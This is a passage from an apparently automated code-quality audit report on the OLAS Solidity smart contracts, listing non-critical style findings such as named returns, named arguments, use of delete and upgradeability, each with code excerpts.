143      function changeManagers(address _tokenomics, address _treasury) external {
144          // Check for the contract ownership
145          if (msg.sender != owner) {
146              revert OwnerOnly(msg.sender, owner);
147          }
148  
149          // Change Tokenomics contract address
150          if (_tokenomics != address(0)) {
151              tokenomics = _tokenomics;
152              emit TokenomicsUpdated(_tokenomics);
153          }
154          // Change Treasury contract address
155          if (_treasury != address(0)) {
156              treasury = _treasury;
157              emit TreasuryUpdated(_treasury);
158          }
159:     }

File: contracts/Dispenser.sol

46       function changeOwner(address newOwner) external {
47           // Check for the contract ownership
48           if (msg.sender != owner) {
49               revert OwnerOnly(msg.sender, owner);
50           }
51   
52           // Check for the zero address
53           if (newOwner == address(0)) {
54               revert ZeroAddress();
55           }
56   
57           owner = newOwner;
58           emit OwnerUpdated(newOwner);
59:      }

File: contracts/DonatorBlacklist.sol

36       function changeOwner(address newOwner) external {
37           // Check for the contract ownership
38           if (msg.sender != owner) {
39               revert OwnerOnly(msg.sender, owner);
40           }
41   
42           // Check for the zero address
43           if (newOwner == address(0)) {
44               revert ZeroAddress();
45           }
46   
47           owner = newOwner;
48           emit OwnerUpdated(newOwner);
49:      }

File: contracts/Tokenomics.sol

404      function changeOwner(address newOwner) external {
405          // Check for the contract ownership
406          if (msg.sender != owner) {
407              revert OwnerOnly(msg.sender, owner);
408          }
409  
410          // Check for the zero address
411          if (newOwner == address(0)) {
412              revert ZeroAddress();
413          }
414  
415          owner = newOwner;
416          emit OwnerUpdated(newOwner);
417:     }

File: contracts/Treasury.sol

137      function changeOwner(address newOwner) external {
138          // Check for the contract ownership
139          if (msg.sender != owner) {
140              revert OwnerOnly(msg.sender, owner);
141          }
142  
143          // Check for the zero address
144          if (newOwner == address(0)) {
145              revert ZeroAddress();
146          }
147  
148          owner = newOwner;
149          emit OwnerUpdated(newOwner);
150:     }

[N-04] Consider making contracts Upgradeable

This allows for bugs to be fixed in production, at the expense of significantly increasing centralization.

There are 22 instances of this issue:

File: contracts/OLAS.sol

17:  contract OLAS is ERC20 {

File: contracts/Timelock.sol

9:   contract Timelock is TimelockController {

File: contracts/bridges/BridgedERC20.sol

18:  contract BridgedERC20 is ERC20 {

File: contracts/bridges/FxERC20ChildTunnel.sol

24:  contract FxERC20ChildTunnel is FxBaseChildTunnel {

File: contracts/bridges/FxERC20RootTunnel.sol

24:  contract FxERC20RootTunnel is FxBaseRootTunnel {

File: contracts/bridges/FxGovernorTunnel.sol

46:  contract FxGovernorTunnel is IFxMessageProcessor {

File: contracts/bridges/HomeMediator.sol

46:  contract HomeMediator {

File: contracts/multisigs/GuardCM.sol

88:  contract GuardCM {

File: contracts/veOLAS.sol

86:  contract veOLAS is IErrors, IVotes, IERC20, IERC165 {

File: contracts/wveOLAS.sol

130  contract wveOLAS {
131:     // veOLAS address

File: contracts/AgentRegistry.sol

9    contract AgentRegistry is UnitRegistry {
10:      // Component registry

File: contracts/ComponentRegistry.sol

8    contract ComponentRegistry is UnitRegistry {
9:       // Component registry version number

File: contracts/RegistriesManager.sol

9    contract RegistriesManager is GenericManager {
10:      // Component registry address

File: contracts/multisigs/GnosisSafeMultisig.sol

24   contract GnosisSafeMultisig {
25:      // Selector of the Gnosis Safe setup function

File: contracts/multisigs/GnosisSafeSameAddressMultisig.sol

50   contract GnosisSafeSameAddressMultisig {
51       // Default data size to be parsed as an address of a Gnosis Safe multisig proxy address
52:      // This exact size suggests that all the changes to the multisig have been performed and only validation is needed

File: contracts/Depository.sol

62:  contract Depository is IErrorsTokenomics {

File: contracts/Dispenser.sol

11:  contract Dispenser is IErrorsTokenomics {

File: contracts/DonatorBlacklist.sol

20:  contract DonatorBlacklist {

File: contracts/GenericBondCalculator.sol

20   contract GenericBondCalculator {
21:      // OLAS contract address

File: contracts/Tokenomics.sol

118: contract Tokenomics is TokenomicsConstants, IErrorsTokenomics {

File: contracts/TokenomicsProxy.sol

26   contract TokenomicsProxy {
27:      // Code position in storage is keccak256("PROXY_TOKENOMICS") = "0xbd5523e7c3b6a94aa0e3b24d1120addc2f95c7029e097b466b2bedc8d4b4362f"

File: contracts/Treasury.sol

39:  contract Treasury is IErrorsTokenomics {

[N-05] Consider moving duplicated strings to constants

There are 4 instances of this issue:

File: contracts/AgentRegistry.sol

13:      string public constant VERSION = "1.0.0";

GitHub: 13

File: contracts/ComponentRegistry.sol

10:      string public constant VERSION = "1.0.0";

GitHub: 10

File: contracts/Depository.sol

77:      string public constant VERSION = "1.0.1";

GitHub: 77

File: contracts/TokenomicsConstants.sol

11:      string public constant VERSION = "1.0.1";

GitHub: 11

[N-06] Consider using delete rather than assigning zero/false to clear values

The delete keyword more closely matches the semantics of what is being done, and draws more attention to the changing of state, which may lead to a more thorough audit of its associated logic

There are 3 instances of this issue:

File: contracts/GenericManager.sol

53:          paused = false;

GitHub: 53

File: contracts/Treasury.sol

455:                 success = false;

518:             mapEnabledTokens[token] = false;

GitHub: 455, 518

[N-07] Consider using descriptive constants when passing zero as a function argument

Passing zero as a function argument can sometimes result in a security issue (e.g. passing zero as the slippage parameter). Consider using a constant variable with a descriptive name, so it’s clear that the argument is intentionally being used, and for the right reasons.

There are 22 instances of this issue:

File: contracts/veOLAS.sol

139:         mapSupplyPoints[0] = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

139:         mapSupplyPoints[0] = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

139:         mapSupplyPoints[0] = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

215:             lastPoint = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

215:             lastPoint = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

215:             lastPoint = PointVoting(0, 0, uint64(block.timestamp), uint64(block.number), 0);

321:         _checkpoint(address(0), LockedBalance(0, 0), LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0), LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0), LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0), LockedBalance(0, 0), uint128(supply));

321:         _checkpoint(address(0), LockedBalance(0, 0), LockedBalance(0, 0), uint128(supply));

396:         _depositFor(account, amount, 0, lockedBalance, DepositType.DEPOSIT_FOR_TYPE);

478:         _depositFor(msg.sender, amount, 0, lockedBalance, DepositType.INCREASE_LOCK_AMOUNT);

506:         _depositFor(msg.sender, 0, unlockTime, lockedBalance, DepositType.INCREASE_UNLOCK_TIME);

517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0);

517:         mapLockedBalances[msg.sender] = LockedBalance(0, 0);

528:         _checkpoint(msg.sender, lockedBalance, LockedBalance(0, 0), uint128(supplyAfter));

528:         _checkpoint(msg.sender, lockedBalance, LockedBalance(0, 0), uint128(supplyAfter));

650:         (point, minPointNumber) = _findPointByBlock(blockNumber, address(0));

728:         (PointVoting memory sPoint, ) = _findPointByBlock(blockNumber, address(0));

File: contracts/Tokenomics.sol

329:         uint256 _inflationPerSecond = getInflationForYear(0) / zeroYearSecondsLeft;

File: contracts/Treasury.sol

408:                 revert TransferFailed(address(0), address(this), account, accountRewards);

GitHub: 408

[N-08] Consider using named function arguments

When calling functions in external contracts with multiple arguments, consider using named function parameters, rather than positional ones.

There are 19 instances of this issue:

File: contracts/bridges/FxERC20RootTunnel.sol

77:          IERC20(rootToken).mint(to, amount);

File: contracts/wveOLAS.sol

197:             uPoint = IVEOLAS(ve).getUserPoint(account, idx);

216:             balance = IVEOLAS(ve).getPastVotes(account, blockNumber);

236:             balance = IVEOLAS(ve).balanceOfAt(account, blockNumber);

File: contracts/RegistriesManager.sol

39:              unitId = IRegistry(componentRegistry).create(unitOwner, unitHash, dependencies);

41:              unitId = IRegistry(agentRegistry).create(unitOwner, unitHash, dependencies);

52:              success = IRegistry(componentRegistry).updateHash(msg.sender, unitId, unitHash);

54:              success = IRegistry(agentRegistry).updateHash(msg.sender, unitId, unitHash);

File: contracts/multisigs/GnosisSafeMultisig.sol

106:         multisig = IGnosisSafeProxyFactory(gnosisSafeProxyFactory).createProxyWithNonce(gnosisSafe, safeParams, nonce);

File: contracts/Depository.sol

320:         payout = IGenericBondCalculator(bondCalculator).calculatePayoutOLAS(tokenAmount, product.priceLP);

337:         ITreasury(treasury).depositTokenForOLAS(msg.sender, tokenAmount, token, payout);

File: contracts/Dispenser.sol

99:          (reward, topUp) = ITokenomics(tokenomics).accountOwnerIncentives(msg.sender, unitTypes, unitIds);

104:             success = ITreasury(treasury).withdrawToAccount(msg.sender, reward, topUp);

File: contracts/Tokenomics.sol

716                  (uint256 numServiceUnits, uint32[] memory serviceUnitIds) = IServiceRegistry(serviceRegistry).
717:                     getUnitIdsOfService(IServiceRegistry.UnitType(unitType), serviceIds[i]);

File: contracts/Treasury.sol

228:         if (IToken(token).allowance(account, address(this)) < tokenAmount) {

229:             revert InsufficientAllowance(IToken(token).allowance((account), address(this)), tokenAmount);

242:         IOLAS(olas).mint(msg.sender, olasMintAmount);

298:         ITokenomics(tokenomics).trackServiceDonations(msg.sender, serviceIds, amounts, msg.value);

416:             IOLAS(olas).mint(account, accountTopUps);

[N-09] Consider using named returns

Using named returns makes the code more self-documenting, makes it easier to fill out NatSpec, and in some cases can save gas. The cases below are where there currently is at most one return statement, which is ideal for named returns.

There are 63 instances of this issue:

File: contracts/GovernorOLAS.sol

33       function state(uint256 proposalId) public view override(IGovernor, Governor, GovernorTimelockControl)
34           returns (ProposalState)
35:      {

45       function propose(
46           address[] memory targets,
47           uint256[] memory values,
48           bytes[] memory calldatas,
49           string memory description
50       ) public override(IGovernor, Governor, GovernorCompatibilityBravo) returns (uint256)
51:      {

57       function proposalThreshold() public view override(Governor, GovernorSettings) returns (uint256)
58:      {

85       function _cancel(
86           address[] memory targets,
87           uint256[] memory values,
88           bytes[] memory calldatas,
89           bytes32 descriptionHash
90       ) internal override(Governor, GovernorTimelockControl) returns (uint256)
91:      {

97       function _executor() internal view override(Governor, GovernorTimelockControl) returns (address)
98:      {

105      function supportsInterface(bytes4 interfaceId) public view override(IERC165, Governor, GovernorTimelockControl)
106          returns (bool)
107:     {

File: contracts/OLAS.sol

91:      function inflationControl(uint256 amount) public view returns (bool) {

128:     function decreaseAllowance(address spender, uint256 amount) external returns (bool) {

145:     function increaseAllowance(address spender, uint256 amount) external returns (bool) {

File: contracts/bridges/HomeMediator.sol

6:       function messageSender() external view returns (address);

File: contracts/interfaces/IERC20.sol

9:       function balanceOf(address account) external view returns (uint256);

13:      function totalSupply() external view returns (uint256);

19:      function allowance(address owner, address spender) external view returns (uint256);

25:      function approve(address spender, uint256 amount) external returns (bool);

31:      function transfer(address to, uint256 amount) external returns (bool);

38:      function transferFrom(address from, address to, uint256 amount) external returns (bool);

File: contracts/multisigs/GuardCM.sol

7:       function state(uint256 proposalId) external returns (ProposalState);

File: contracts/veOLAS.sol

164:     function getUserPoint(address account, uint256 idx) external view returns (PointVoting memory) {

633:     function getVotes(address account) public view override returns (uint256) {

719:     function totalSupply() public view override returns (uint256) {

738:     function totalSupplyLockedAtT(uint256 ts) public view returns (uint256) {

745:     function totalSupplyLocked() public view returns (uint256) {

752:     function getPastTotalSupply(uint256 blockNumber) public view override returns (uint256) {

761:     function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {

767:     function transfer(address to, uint256 amount) external virtual override returns (bool) {

772:     function approve(address spender, uint256 amount) external virtual override returns (bool) {

777:     function transferFrom(address from, address to, uint256 amount) external virtual override returns (bool) {

782      function allowance(address owner, address spender) external view virtual override returns (uint256)
783:     {

788      function delegates(address account) external view virtual override returns (address)
789:     {

File: contracts/wveOLAS.sol

98:      function supportsInterface(bytes4 interfaceId) external view returns (bool);

101:     function allowance(address owner, address spender) external view returns (uint256);

104:     function delegates(address account) external view returns (address);

292:     function supportsInterface(bytes4 interfaceId) external view returns (bool) {

297:     function transfer(address, uint256) external returns (bool) {

302:     function approve(address, uint256) external returns (bool) {

307:     function transferFrom(address, address, uint256) external returns (bool) {

312:     function allowance(address, address) external view returns (uint256) {

317:     function delegates(address) external view returns (address) {

File: contracts/GenericRegistry.sol

72:      function exists(uint256 unitId) external view virtual returns (bool) {

129:     function _getUnitHash(uint256 unitId) internal view virtual returns (bytes32);

135:     function tokenURI(uint256 unitId) public view virtual override returns (string memory) {

File: contracts/UnitRegistry.sol

270:     function _getUnitHash(uint256 unitId) internal view override returns (bytes32) {

File: contracts/interfaces/IRegistry.sol

16       function create(
17           address unitOwner,
18           bytes32 unitHash,
19           uint32[] memory dependencies
20:      ) external returns (uint256);

48:      function totalSupply() external view returns (uint256);

File: contracts/multisigs/GnosisSafeSameAddressMultisig.sol

8:       function getOwners() external view returns (address[] memory);

12:      function getThreshold() external view returns (uint256);

File: contracts/interfaces/IOLAS.sol

12:      function timeLaunch() external view returns (uint256);

File: contracts/interfaces/IServiceRegistry.sol

14:      function exists(uint256 serviceId) external view returns (bool);

File: contracts/interfaces/IToken.sol

9:       function balanceOf(address account) external view returns (uint256);

14:      function ownerOf(uint256 tokenId) external view returns (address);

18:      function totalSupply() external view returns (uint256);

24:      function transfer(address to, uint256 amount) external returns (bool);

30:      function allowance(address owner, address spender) external view returns (uint256);

36:      function approve(address spender, uint256 amount) external returns (bool);

43:      function transferFrom(address from, address to, uint256 amount) external returns (bool);

File: contracts/interfaces/ITokenomics.sol

8:       function effectiveBond() external pure returns (uint256);

11:      function checkpoint() external returns (bool);

30:      function reserveAmountForBondProgram(uint256 amount) external returns(bool);

51:      function serviceRegistry() external view returns (address);

File: contracts/interfaces/IUniswapV2Pair.sol

6:       function totalSupply() external view returns (uint);

7:       function token0() external view returns (address);

8:       function token1() external view returns (address);